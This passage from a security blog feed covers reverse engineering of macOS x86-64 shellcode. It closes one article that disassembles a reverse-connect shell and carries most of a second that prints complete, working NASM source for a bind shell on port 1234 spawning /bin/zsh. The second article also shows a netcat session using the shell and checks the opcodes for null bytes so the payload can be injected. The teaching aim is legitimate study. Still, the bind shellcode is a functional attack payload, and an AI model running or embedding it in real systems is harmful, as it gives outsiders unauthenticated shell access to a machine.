<p>This prepares a <code>0x0000000002000000</code> value for the syscall without spawning null-bytes. Doing this makes a constant that is used during the preparations of the syscalls (do once and then use it!). In fact, the very next two operations store the value in the stack (<code>&lt;+20&gt;</code>) and stores it into <code>rax</code> (<code>&lt;+21&gt;</code>). </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651230987598/ZzwqcROBi.png" alt="Screenshot 2022-04-29 at 12.16.09.png" /></p>
<p>The CDQ instruction (<code>&lt;+22&gt;</code>) sets <code>RDX</code> to 0, since <code>eax</code> is signed positive.</p>
<p>The effect of the two instructions <code>&lt;+23&gt;</code> and <code>&lt;+25&gt;</code> is to store the value <code>1</code> into <code>rsi</code> without generating null-bytes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651303595608/5yyRknUeC.png" alt="Screenshot 2022-04-30 at 08.26.18.png" /></p>
<p>and similarly, with <code>&lt;+26&gt;</code> and <code>&lt;+28&gt;</code>  the value <code>2</code> is stored into <code>rdi</code> without generating null-bytes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651303696872/UD3Kysfg0.png" alt="Screenshot 2022-04-30 at 08.28.04.png" class="image--center mx-auto" /></p>
<p>Finally, in <code>&lt;+29&gt;</code>, the first syscall is prepared. The situation before and after the syscall is reported below, changes highlighted in red:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651303836334/G-SnBj-4V.png" alt="Screenshot 2022-04-30 at 08.30.10.png" /></p>
<p>A new socket is created, and its value (<code>3</code>) is stored into <code>rax</code>.</p>
<p>The remaining two actions (namely, <code>&lt;+33&gt;</code> and <code>&lt;+34&gt;</code>) swap the contents of the two registers. At the end of the execution we have:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651304163274/2bxQnSOsn.png" alt="Screenshot 2022-04-30 at 08.35.53.png" /></p>
<p>Time to look at the next chunk</p>
<h3 id="heading-duploop64">dup_loop64</h3>
<p><em>Note that the numeration restarts, but since there's no further label, the program will keep on using the internal numbering also after the jump instruction. This is actually meaningful, from the point of view of the assembly language - the humans must adapt to that :) 
But we won't surrender, and we'll stubbornly keep on subdividing into smaller chunks :)</em></p>
<pre><code><span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">8</span>c] &lt;+<span class="hljs-number">0</span>&gt;:  push   rbp
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">8</span>d] &lt;+<span class="hljs-number">1</span>&gt;:  pop    rax
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">8</span>e] &lt;+<span class="hljs-number">2</span>&gt;:  mov    al, <span class="hljs-number">0</span>x<span class="hljs-number">5</span>a
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">90</span>] &lt;+<span class="hljs-number">4</span>&gt;:  syscall 
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">92</span>] &lt;+<span class="hljs-number">6</span>&gt;:  sub    esi, <span class="hljs-number">0</span>x<span class="hljs-number">1</span>
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">95</span>] &lt;+<span class="hljs-number">9</span>&gt;:  jns    <span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">8</span>c               ; &lt;+<span class="hljs-number">0</span>&gt;
</code></pre><p>At a glance, this routine is very easy to reverse: <code>&lt;+0&gt;</code>, <code>&lt;+1&gt;</code>, and <code>&lt;+2&gt;</code> prepare the syscall (<code>&lt;+4&gt;</code>) using the value of <code>rsi</code>. The register <code>rsi</code> initial value is <code>2</code> (<code>STDERR</code>), then becomes <code>1</code> (<code>STDOUT</code>), and finally becomes <code>0</code> which corresponds to <code>STDIN</code>. Chiefly, this associates the socket file descriptor (<code>rdi</code>, never changing) to the three aforementioned streams. In fact, at each iteration <code>rsi</code> is decremented (<code>&lt;+6&gt;</code>), and the jump is performed only upon non-negative results (<code>&lt;+9&gt;</code>). Easy peasy.</p>
<p>We show a quick example of how the registers are impacted by this loop. The initial push and pop:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651387365010/181QmF99x.png" alt="Screenshot 2022-05-01 at 07.42.34.png" /></p>
<p>and the final ones:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651387461670/g1akRQseU.png" alt="Screenshot 2022-05-01 at 07.43.59.png" /></p>
<p>When the loop terminates, the values of the registers is as follows:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651387577570/NFTVlWJMG.png" alt="Screenshot 2022-05-01 at 07.46.05.png" /></p>
<p>This closes the dup_loop64 chunk.</p>
<h3 id="heading-connect">Connect</h3>
<p>This may seem the most tricky part of the whole exercise, because it really deals with the stack.</p>
<p>The code is:</p>
<pre><code><span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">97</span>] &lt;+<span class="hljs-number">11</span>&gt;: push   rbp
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">98</span>] &lt;+<span class="hljs-number">12</span>&gt;: pop    rax
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">99</span>] &lt;+<span class="hljs-number">13</span>&gt;: push   rsp
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">9</span>a] &lt;+<span class="hljs-number">14</span>&gt;: pop    rsi
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">9</span>b] &lt;+<span class="hljs-number">15</span>&gt;: mov    dl, <span class="hljs-number">0</span>x<span class="hljs-number">10</span>
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">9</span>d] &lt;+<span class="hljs-number">17</span>&gt;: mov    al, <span class="hljs-number">0</span>x<span class="hljs-number">62</span>
<span class="hljs-attribute">reverseConnectShell</span>[<span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">9</span>f] &lt;+<span class="hljs-number">19</span>&gt;: syscall
</code></pre><p>Let us focus on the contents of the stack, first. The stack pointer (<code>rsp</code>) contains the value <code>0x00007FF7BFEFFA20</code>. At this location, the stack contains the previously built <code>struct sockaddr</code>. By now, should be clear the effect of the instructions <code>&lt;+11&gt;</code> and <code>&lt;+12&gt;</code>: they basically prepare the syscall. After the execution of those instructions, the stack pointer still contains <code>struct</code>'s address. That address is then stored in <code>rsi</code> with the usual push/pop mechanism, thus populating the value of the second parameter of the syscall. The third parameter must be stored in <code>rdx</code>, whose last byte is set to <code>0x10</code> in <code>&lt;+15&gt;</code>. Fianlly, <code>rdi</code>, which contained the file descriptor of the socket, hasn't changed. The syscall is perfectioned in <code>&lt;+17&gt;</code> and then invoked in <code>&lt;+19&gt;</code>.</p>
<p>The final part is the execution of the shell, we have already analysed it in previous articles. Please, refer to them.</p>
<h2 id="heading-conclusions">Conclusions</h2>
<p>The aim of this series was multifold. First of all, I wanted to show that even with no assembly talent, we can understand shellcode (and we built some of that talent in this process, indeed!). 
I also wanted to show how to do static analysis. It's a lengthy process (the technical term is PitA), error-prone, but gives lots of satisfaction.
Assembly is not that harsh monstrosity one expects it to be. It's not easy either, anyway, so you may want to build further skills on that.
We have also seen some binary analysis.</p>
<p><em>... and all this, just by reverse engineering!</em></p>
]]></content:encoded></item><item><title><![CDATA[Binding a shell]]></title><description><![CDATA[Abstract
In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page Shellcode: Mac OSX amd64.
In the last article, Some more shellcode I showed some basic static and dynamic binary analysis using Hopper. 
In this...]]></description><link>https://blog.reveng3.org/binding-a-shell</link><guid isPermaLink="true">https://blog.reveng3.org/binding-a-shell</guid><category><![CDATA[operating system]]></category><category><![CDATA[hacking]]></category><category><![CDATA[macOS]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Wed, 20 Apr 2022 10:15:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1649673409171/NSbchJrdn.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-abstract">Abstract</h2>
<p><em>In this series of articles, I am analysing the pieces of shellcode written by Odzhan on the page <a target="_blank" href="https://modexp.wordpress.com/2017/01/21/shellcode-osx/">Shellcode: Mac OSX amd64</a>.</em></p>
<p><em>In the last article, <a target="_blank" href="https://blog.reveng3.org/some-more-shellcode">Some more shellcode</a> I showed some basic static and dynamic binary analysis using Hopper. </em></p>
<p><em>In this article, a more complex task is accomplished - we want to create some code that binds a shell.</em></p>
<h1 id="heading-binding-a-shell">Binding a Shell</h1>
<p>This is the wet dream of all hackers - and conversely, it is the nightmare of all blue teamers.
The effect of this shellcode is opening a shell that's accessible via netcat on port 1234.</p>
<h2 id="heading-the-code">The code</h2>
<p>We start from the code:</p>
<pre><code>; <span class="hljs-number">91</span> bytes <span class="hljs-keyword">bind</span> shell
;
bits    <span class="hljs-number">64</span>

global _main
_main:

    mov     eax, ~<span class="hljs-number">0xd2040200</span> &amp; <span class="hljs-number">0xFFFFFFFF</span>
    <span class="hljs-keyword">not</span>     eax
    <span class="hljs-keyword">push</span>    rax

    <span class="hljs-keyword">xor</span>     ebp, ebp
    bts     ebp, <span class="hljs-number">25</span>

    ; step <span class="hljs-number">1</span>, create a <span class="hljs-keyword">socket</span>
    ; <span class="hljs-keyword">socket</span>(AF_INET, SOCK_STREAM, IPPROTO_IP);
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax              ; rax = <span class="hljs-number">0x02000000</span>
    cdq                      ; rdx = IPPROTO_IP
    <span class="hljs-keyword">push</span>    <span class="hljs-number">1</span>
    <span class="hljs-keyword">pop</span>     rsi              ; rsi = SOCK_STREAM
    <span class="hljs-keyword">push</span>    <span class="hljs-number">2</span>
    <span class="hljs-keyword">pop</span>     rdi              ; rdi = AF_INET
    mov     al, <span class="hljs-number">97</span>           ; eax = sys_socket
    <span class="hljs-keyword">syscall</span>

    xchg    eax, edi         ; edi=<span class="hljs-keyword">s</span>
    xchg    eax, ebx         ; ebx=<span class="hljs-number">2</span>

    ; step <span class="hljs-number">2</span>, <span class="hljs-keyword">bind</span> to port <span class="hljs-number">1234</span>
    ; <span class="hljs-keyword">bind</span>(<span class="hljs-keyword">s</span>, {AF_INET,<span class="hljs-number">1234</span>,INADDR_ANY}, <span class="hljs-number">16</span>)
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax
    <span class="hljs-keyword">push</span>    rsp
    <span class="hljs-keyword">pop</span>     rsi
    mov     dl, <span class="hljs-number">16</span>
    mov     al, <span class="hljs-number">104</span>
    <span class="hljs-keyword">syscall</span>

    ; step <span class="hljs-number">3</span>, <span class="hljs-keyword">listen</span>
    ; <span class="hljs-keyword">listen</span>(<span class="hljs-keyword">s</span>, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">push</span>    rax
    <span class="hljs-keyword">pop</span>     rsi
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax
    mov     al, <span class="hljs-number">106</span>
    <span class="hljs-keyword">syscall</span>

    ; step <span class="hljs-number">4</span>, <span class="hljs-keyword">accept</span> connections
    ; <span class="hljs-keyword">accept</span>(<span class="hljs-keyword">s</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax
    mov     al, <span class="hljs-number">30</span>
    cdq
    <span class="hljs-keyword">syscall</span>

    xchg    eax, edi         ; edi=r
    <span class="hljs-keyword">push</span>    rbx              ; rsi=<span class="hljs-number">2</span>
    <span class="hljs-keyword">pop</span>     rsi

    ; step <span class="hljs-number">5</span>, assign <span class="hljs-keyword">socket</span> handle to stdin,stdout,stderr
    ; dup2(r, FILENO_STDIN)
    ; dup2(r, FILENO_STDOUT)
    ; dup2(r, FILENO_STDERR)
dup_loop64:
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax
    mov     al, <span class="hljs-number">90</span>           ; rax=sys_dup2
    <span class="hljs-keyword">syscall</span>
    <span class="hljs-function"><span class="hljs-keyword">sub</span>     <span class="hljs-title">esi</span>, 1
    <span class="hljs-title">jns</span>     <span class="hljs-title">dup_loop64</span>       </span>; jump <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> signed

    ; step <span class="hljs-number">6</span>, execute /bin/zsh
    ; execve(<span class="hljs-string">"/bin/zsh"</span>, {<span class="hljs-string">"/bin/zsh"</span>, NULL}, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">xor</span>     esi, esi
    cdq                      ; rdx=<span class="hljs-number">0</span>
    mov     rbx, <span class="hljs-string">'/bin/zsh'</span>
    <span class="hljs-keyword">push</span>    rdx              ; <span class="hljs-number">0</span>
    <span class="hljs-keyword">push</span>    rbx              ; <span class="hljs-string">"/bin//sh"</span>
    <span class="hljs-keyword">push</span>    rsp
    <span class="hljs-keyword">pop</span>     rdi              ; <span class="hljs-string">"/bin//sh"</span>, <span class="hljs-number">0</span>
    ; ---------
    <span class="hljs-keyword">push</span>    rbp
    <span class="hljs-keyword">pop</span>     rax
    mov     al, <span class="hljs-number">59</span>           ; rax=sys_execve
    <span class="hljs-keyword">syscall</span>
</code></pre><p>The only detail that's been changed from the original code is the chosen shell. We opted for zsh because nowadays Apple has decided it's the default shell with MacOS. The original shell was <code>/bin//sh</code> (observe the double slash...).</p>
<h2 id="heading-running-the-code">Running the code</h2>
<p>In a terminal, I launch: </p>
<pre><code>gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> ./bindshell
</code></pre><p>(no output is produced)</p>
<p>In another terminal, I launch:</p>
<pre><code>gbiondo@tripleX shellcode2 <span class="hljs-operator">%</span> nc localhost <span class="hljs-number">1234</span>
pwd
<span class="hljs-operator">/</span>Users<span class="hljs-operator">/</span>gbiondo<span class="hljs-operator">/</span>EXP312<span class="hljs-operator">/</span>Odzhan
time

real    0m0.001s
user    0m0.000s
sys    0m0.000s
date
Wed Apr <span class="hljs-number">13</span> <span class="hljs-number">14</span>:<span class="hljs-number">52</span>:<span class="hljs-number">30</span> BST <span class="hljs-number">2022</span>
echo $SHELL
<span class="hljs-operator">/</span>bin<span class="hljs-operator">/</span>zsh
whoami
gbiondo
</code></pre><p>Try and imagine: the software you are running opens a shell that can be reachable from the outside - this is very dangerous.</p>
<h2 id="heading-some-static-binary-analysis">Some static binary analysis</h2>
<h3 id="heading-file">file</h3>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX Odzhan % file bindshell
<span class="hljs-attribute">bindshell</span>: Mach-O <span class="hljs-number">64</span>-bit executable x<span class="hljs-number">86</span>_<span class="hljs-number">64</span>
</code></pre><p>Nothing we didn't know before, actually</p>
<h3 id="heading-symbol-table">Symbol Table</h3>
<pre><code>gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span>m <span class="hljs-operator">-</span>t bindshell
bindshell:

SYMBOL TABLE:
0000000100003f96 l     F __TEXT,__text dup_loop64
0000000100000000 g       <span class="hljs-operator">*</span>ABS<span class="hljs-operator">*</span> __mh_execute_header
0000000100003f5d g     F __TEXT,__text _main
</code></pre><p>Nothing too interesting, actually.</p>
<h3 id="heading-section-headers">Section headers</h3>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX Odzhan % objdump -m -h bindshell

<span class="hljs-attribute">Sections</span>:
<span class="hljs-attribute">Idx</span> Name          Size     VMA              Type
  <span class="hljs-attribute">0</span> __text        <span class="hljs-number">0000005</span>b <span class="hljs-number">0000000100003</span>f<span class="hljs-number">5</span>d TEXT
  <span class="hljs-attribute">1</span> __unwind_info <span class="hljs-number">00000048</span> <span class="hljs-number">0000000100003</span>fb<span class="hljs-number">8</span> DATA
</code></pre><p>Also this one is not too talkative :)</p>
<h2 id="heading-null-byte-sanitization">Null-byte sanitization</h2>
<p>Before doing anything else, we agree on subdividing the code into logical blocks. </p>
<p>We agree on the following:</p>
<ul>
<li>we call the preamble of the program <strong>preamble</strong>. It ends before the code introduced with the comment <code>; step 1, create a socket</code></li>
<li>we will refer to the block of code between the comments <code>; step 1, create a socket</code> and <code>; step 2, bind to port 1234</code> with <strong>socket</strong></li>
<li>we will refer to the block of code between the comments <code>; step 2, bind to port 1234</code> and <code>; step 3, listen</code> with <strong>bind</strong></li>
<li>we will refer to the block of code between the comments <code>; step 3, listen</code> and <code>; step 4, accept connections</code> with <strong>listen</strong></li>
<li>we will refer to the block of code between the comments <code>; step 4, accept connections</code> and <code>; step 5, assign socket handle to stdin,stdout,stderr</code> with <strong>accept connections</strong></li>
<li>we will refer to the block of code between the comments <code>; step 5, assign socket handle to stdin, stdout, stderr</code> and <code>; step 6, execute /bin/zsh</code> with <strong>handle management</strong></li>
<li>we will refer to the rest of the code with <strong>shell execution</strong></li>
</ul>
<p>For reasons that will be evident later on, we need to have a null-byte-free code. A null-byte is actually a byte that's zeroed in the code. An example can explain the situation better. If we take a look at the opcodes in the disassembled object file of cmdRun, the program we used in <a target="_blank" href="https://blog.reveng3.org/some-more-shellcode">Some more shellcode</a>, in the subroutine <code>&lt;l_cmd64&gt;</code> we see:</p>
<pre><code>gbiondo@tripleX Odzhan <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span>D <span class="hljs-operator">-</span>M intel cmdRun.o

cmdRun.o:    file format mach<span class="hljs-operator">-</span>o <span class="hljs-number">64</span><span class="hljs-operator">-</span>bit x86<span class="hljs-number">-64</span>

Disassembly of section __TEXT,__text:

<span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span> <span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span> <span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span> SNIP <span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span> <span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span> <span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span> 

0000000000000026 <span class="hljs-operator">&lt;</span>l_cmd64<span class="hljs-operator">&gt;</span>:
      <span class="hljs-number">26</span>: e8 f5 ff ff ff                   call    <span class="hljs-number">0x20</span> <span class="hljs-operator">&lt;</span>r_cmd64<span class="hljs-operator">&gt;</span>
      2b: <span class="hljs-number">63</span> <span class="hljs-number">61</span> <span class="hljs-number">74</span>                         movsxd    esp, dword ptr [rcx <span class="hljs-operator">+</span> <span class="hljs-number">116</span>]
      2e: <span class="hljs-number">20</span> 2f                            and    <span class="hljs-keyword">byte</span> ptr [rdi], ch
      <span class="hljs-number">30</span>: <span class="hljs-number">65</span> <span class="hljs-number">74</span> <span class="hljs-number">63</span>                         je    <span class="hljs-number">0x96</span> <span class="hljs-operator">&lt;</span>l_cmd64<span class="hljs-operator">+</span><span class="hljs-number">0x70</span><span class="hljs-operator">&gt;</span>
      <span class="hljs-number">33</span>: 2f                               <span class="hljs-operator">&lt;</span>unknown<span class="hljs-operator">&gt;</span>
      <span class="hljs-number">34</span>: <span class="hljs-number">70</span> <span class="hljs-number">61</span>                            jo    <span class="hljs-number">0x97</span> <span class="hljs-operator">&lt;</span>l_cmd64<span class="hljs-operator">+</span><span class="hljs-number">0x71</span><span class="hljs-operator">&gt;</span>
      <span class="hljs-number">36</span>: <span class="hljs-number">73</span> <span class="hljs-number">73</span>                            jae    <span class="hljs-number">0xab</span> <span class="hljs-operator">&lt;</span>l_cmd64<span class="hljs-operator">+</span><span class="hljs-number">0x85</span><span class="hljs-operator">&gt;</span>
      <span class="hljs-number">38</span>: <span class="hljs-number">77</span> <span class="hljs-number">64</span>                            ja    <span class="hljs-number">0x9e</span> <span class="hljs-operator">&lt;</span>l_cmd64<span class="hljs-operator">+</span><span class="hljs-number">0x78</span><span class="hljs-operator">&gt;</span>
      3a: 00                               <span class="hljs-operator">&lt;</span>unknown<span class="hljs-operator">&gt;</span>
</code></pre><p>The byte in <code>3a</code> is <code>00</code> - there is acceptable because of the structure of the program, but in general, we want to avoid these bytes.</p>
<p>So, now we want to check if we have any null-byte in the opcodes.</p>
<p>We do it part by part.</p>
<h3 id="heading-preamble">Preamble</h3>
<p>This part is null-byte free:</p>
<pre><code>gbiondo@tripleX bindshell_files <span class="hljs-operator">%</span> nasm <span class="hljs-operator">-</span>f macho64 preamble.asm 
gbiondo@tripleX bindshell_files <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span>D <span class="hljs-operator">-</span>M intel preamble.o 

preamble.o:    file format mach<span class="hljs-operator">-</span>o <span class="hljs-number">64</span><span class="hljs-operator">-</span>bit x86<span class="hljs-number">-64</span>

Disassembly of section __TEXT,__text:

0000000000000000 <span class="hljs-operator">&lt;</span>_main<span class="hljs-operator">&gt;</span>:
       <span class="hljs-number">0</span>: b8 ff fd fb 2d                   mov    eax, <span class="hljs-number">771489279</span>
       <span class="hljs-number">5</span>: f7 d0                            not    eax
       <span class="hljs-number">7</span>: <span class="hljs-number">50</span>                               push    rax
       <span class="hljs-number">8</span>: <span class="hljs-number">31</span> ed                            xor    ebp, ebp
       a: 0f ba ed <span class="hljs-number">19</span>                      bts    ebp, <span class="hljs-number">25</span>
</code></pre><h3 id="heading-socket">Socket</h3>
<p>Also this part is null-byte free:</p>
<pre><code><span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">bindshell_files</span> <span class="hljs-string">%</span> <span class="hljs-string">nasm</span> <span class="hljs-string">-f</span> <span class="hljs-string">macho64</span> <span class="hljs-string">socket.asm</span>    
<span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">bindshell_files</span> <span class="hljs-string">%</span> <span class="hljs-string">objdump</span> <span class="hljs-string">-D</span> <span class="hljs-string">-M</span> <span class="hljs-string">intel</span> <span class="hljs-string">socket.o</span> 

<span class="hljs-attr">socket.o:</span>    <span class="hljs-string">file</span> <span class="hljs-string">format</span> <span class="hljs-string">mach-o</span> <span class="hljs-number">64</span><span class="hljs-string">-bit</span> <span class="hljs-string">x86-64</span>

<span class="hljs-string">Disassembly</span> <span class="hljs-string">of</span> <span class="hljs-string">section</span> <span class="hljs-string">__TEXT,__text:</span>

<span class="hljs-number">0000000000000000</span> <span class="hljs-string">&lt;__text&gt;:</span>
       <span class="hljs-attr">0:</span> <span class="hljs-number">55</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rbp</span>
       <span class="hljs-attr">1:</span> <span class="hljs-number">58</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rax</span>
       <span class="hljs-attr">2:</span> <span class="hljs-number">99</span>                               <span class="hljs-string">cdq</span>
       <span class="hljs-attr">3:</span> <span class="hljs-string">6a</span> <span class="hljs-number">01</span>                            <span class="hljs-string">push</span>    <span class="hljs-number">1</span>
       <span class="hljs-attr">5:</span> <span class="hljs-string">5e</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rsi</span>
       <span class="hljs-attr">6:</span> <span class="hljs-string">6a</span> <span class="hljs-number">02</span>                            <span class="hljs-string">push</span>    <span class="hljs-number">2</span>
       <span class="hljs-attr">8:</span> <span class="hljs-string">5f</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rdi</span>
       <span class="hljs-attr">9:</span> <span class="hljs-string">b0</span> <span class="hljs-number">61</span>                            <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">97</span>
       <span class="hljs-attr">b:</span> <span class="hljs-string">0f</span> <span class="hljs-number">05</span>                            <span class="hljs-string">syscall</span>
       <span class="hljs-attr">d:</span> <span class="hljs-number">97</span>                               <span class="hljs-string">xchg</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">edi</span>
       <span class="hljs-attr">e:</span> <span class="hljs-number">93</span>                               <span class="hljs-string">xchg</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">ebx</span>
</code></pre><h3 id="heading-bind">Bind</h3>
<p>Another part with no null-bytes:</p>
<pre><code><span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">bindshell_files</span> <span class="hljs-string">%</span> <span class="hljs-string">nasm</span> <span class="hljs-string">-f</span> <span class="hljs-string">macho64</span> <span class="hljs-string">bind.asm</span>    
<span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">bindshell_files</span> <span class="hljs-string">%</span> <span class="hljs-string">objdump</span> <span class="hljs-string">-D</span> <span class="hljs-string">-M</span> <span class="hljs-string">intel</span> <span class="hljs-string">bind.o</span>

<span class="hljs-attr">bind.o:</span>    <span class="hljs-string">file</span> <span class="hljs-string">format</span> <span class="hljs-string">mach-o</span> <span class="hljs-number">64</span><span class="hljs-string">-bit</span> <span class="hljs-string">x86-64</span>

<span class="hljs-string">Disassembly</span> <span class="hljs-string">of</span> <span class="hljs-string">section</span> <span class="hljs-string">__TEXT,__text:</span>

<span class="hljs-number">0000000000000000</span> <span class="hljs-string">&lt;__text&gt;:</span>
       <span class="hljs-attr">0:</span> <span class="hljs-number">55</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rbp</span>
       <span class="hljs-attr">1:</span> <span class="hljs-number">58</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rax</span>
       <span class="hljs-attr">2:</span> <span class="hljs-number">54</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rsp</span>
       <span class="hljs-attr">3:</span> <span class="hljs-string">5e</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rsi</span>
       <span class="hljs-attr">4:</span> <span class="hljs-string">b2</span> <span class="hljs-number">10</span>                            <span class="hljs-string">mov</span>    <span class="hljs-string">dl,</span> <span class="hljs-number">16</span>
       <span class="hljs-attr">6:</span> <span class="hljs-string">b0</span> <span class="hljs-number">68</span>                            <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">104</span>
       <span class="hljs-attr">8:</span> <span class="hljs-string">0f</span> <span class="hljs-number">05</span>                            <span class="hljs-string">syscall</span>
</code></pre><h3 id="heading-listen">Listen</h3>
<p>No null-bytes here...</p>
<pre><code>gbiondo@tripleX bindshell_files <span class="hljs-operator">%</span> nasm <span class="hljs-operator">-</span>f macho64 listen.asm 
gbiondo@tripleX bindshell_files <span class="hljs-operator">%</span> objdump <span class="hljs-operator">-</span>D <span class="hljs-operator">-</span>M intel listen.o 

listen.o:    file format mach<span class="hljs-operator">-</span>o <span class="hljs-number">64</span><span class="hljs-operator">-</span>bit x86<span class="hljs-number">-64</span>

Disassembly of section __TEXT,__text:

0000000000000000 <span class="hljs-operator">&lt;</span>__text<span class="hljs-operator">&gt;</span>:
       <span class="hljs-number">0</span>: <span class="hljs-number">50</span>                               push    rax
       <span class="hljs-number">1</span>: 5e                               pop    rsi
       <span class="hljs-number">2</span>: <span class="hljs-number">55</span>                               push    rbp
       <span class="hljs-number">3</span>: <span class="hljs-number">58</span>                               pop    rax
       <span class="hljs-number">4</span>: b0 6a                            mov    al, <span class="hljs-number">106</span>
       <span class="hljs-number">6</span>: 0f 05                            syscall
</code></pre><h3 id="heading-accept-connections">Accept connections</h3>
<p>... nor here. Bo-ring!</p>
<pre><code><span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">bindshell_files</span> <span class="hljs-string">%</span> <span class="hljs-string">nasm</span> <span class="hljs-string">-f</span> <span class="hljs-string">macho64</span> <span class="hljs-string">acceptConnections.asm</span> 
<span class="hljs-string">gbiondo@tripleX</span> <span class="hljs-string">bindshell_files</span> <span class="hljs-string">%</span> <span class="hljs-string">objdump</span> <span class="hljs-string">-D</span> <span class="hljs-string">-M</span> <span class="hljs-string">intel</span> <span class="hljs-string">acceptConnections.o</span> 

<span class="hljs-attr">acceptConnections.o:</span>    <span class="hljs-string">file</span> <span class="hljs-string">format</span> <span class="hljs-string">mach-o</span> <span class="hljs-number">64</span><span class="hljs-string">-bit</span> <span class="hljs-string">x86-64</span>

<span class="hljs-string">Disassembly</span> <span class="hljs-string">of</span> <span class="hljs-string">section</span> <span class="hljs-string">__TEXT,__text:</span>

<span class="hljs-number">0000000000000000</span> <span class="hljs-string">&lt;__text&gt;:</span>
       <span class="hljs-attr">0:</span> <span class="hljs-number">55</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rbp</span>
       <span class="hljs-attr">1:</span> <span class="hljs-number">58</span>                               <span class="hljs-string">pop</span>    <span class="hljs-string">rax</span>
       <span class="hljs-attr">2:</span> <span class="hljs-string">b0</span> <span class="hljs-string">1e</span>                            <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">30</span>
       <span class="hljs-attr">4:</span> <span class="hljs-number">99</span>                               <span class="hljs-string">cdq</span>
       <span class="hljs-attr">5:</span> <span class="hljs-string">0f</span> <span class="hljs-number">05</span>                            <span class="hljs-string">syscall</span>
       <span class="hljs-attr">7:</span> <span class="hljs-number">97</span>                               <span class="hljs-string">xchg</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">edi</span>
       <span class="hljs-attr">8:</span> <span class="hljs-number">53</span>                               <span class="hljs-string">push</span>    <span class="hljs-string">rbx</span>
